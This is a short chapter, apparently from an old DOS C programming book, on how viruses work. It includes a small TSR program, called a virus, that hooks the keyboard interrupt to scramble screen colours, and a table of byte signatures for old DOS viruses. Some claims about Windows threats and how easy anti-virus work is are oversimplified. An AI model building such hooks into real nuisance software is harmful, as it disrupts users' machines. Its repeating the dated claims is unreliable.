67 Virus Programming

"Kings should not drink."

Everybody is scared of computer 'virus' as it does harmful actions on our computer. But when we look into the virus programming, we may certainly come out with the conclusion that it requires intelligence to code a virus.

67.1 Logic

It is easy to mess-up the right program. For example, if you remove even a single byte from an EXE file, that EXE file won't be usable! Virus program don't have any specific rules. But it's a common practice to include 'signatures' by virus creators. The main idea is to force the innocent user to run the programs. So certain viruses come along with so called 'programmer utilities' or 'free tools'. Another thing is, it is easy to hang-up a working system using some 'bad' interrupts. *Viruses use this logic too!*

67.2 TSR viruses

When TSR got its popularity, crackers started using TSR concepts for virus programming. There was a time when people who knew TSR started writing their own TSR viruses. But when Windows operating system was introduced, TSR viruses lost their "popularity".

I have written the following program. This is actually a TSR virus. It is not much harmful; it just changes the attribute (color) byte of the existing characters present on screen.

```
#ifndef __SMALL__
    #error Compile with Small memory model
#else

#include <dos.h>

int i = 1;
char far *Vid_RAM = (char far *)0xb8000000;

void interrupt (*Int9)( void );
void interrupt MyInt9( void );

void interrupt MyInt9( void )
{
   *( Vid_RAM + i ) = i;
```

```
   if ( i>4000 )
      i = 1;
     else
      i += 2;
   (*Int9)( );
} /*--interrupt MyInt9-----*/

int main(void)
{
   Int9 = getvect( 9 );
   setvect( 9, MyInt9 );
   keep( 0, 500 );
   return(0);
} /*--main( )----*/

#endif
```

67.3 Windows viruses

When Windows operating system was introduced, much of the DOS based viruses lost their “popularity”. Under Windows operating system, only certain viruses like “Boot sector virus” and “Disk formatting viruses” can do harmful actions. So crackers went for exploiting Windows. Windows based viruses exploit Internet ‘loopholes’. As VB Script even has access to *Windows Registry*, VB Script is commonly used for Windows/Internet based “spreading viruses”.

67.4 Anti-Viruses

As I said earlier, many virus programmers add *signature* to their program. So by checking the signature, we can find the name of the virus. Most of the anti-virus packages use this logic! The following table shows few viruses and their *signatures*.

Virus	Signature
Einstein	0042CD217231B96E0333D2B440CD2172193BC17515B80042
Phoenix 927	E800005E81C6????BF0001B90400F3A4E8
Spanz	E800005E81EE????8D94????B41ACD21C784
Necropolis	50FCAD33C2AB8BD0E2F8
Trivial-25	B44EFEC6CD21B8??3DBA??00CD2193B440CD
Trivial-46	B44EB120BA????CD21BA????B80?3DCD21%2BA0001%4B440CD
SK	CD20B80300CD1051E800005E83EE09

So you can find that writing anti-virus package is not a tough job. But understand the fact that checking out the *signature* is not 100% foolproof. You may find many of the buggy anti-virus packages even point out the right programs as virus programs and vice-versa.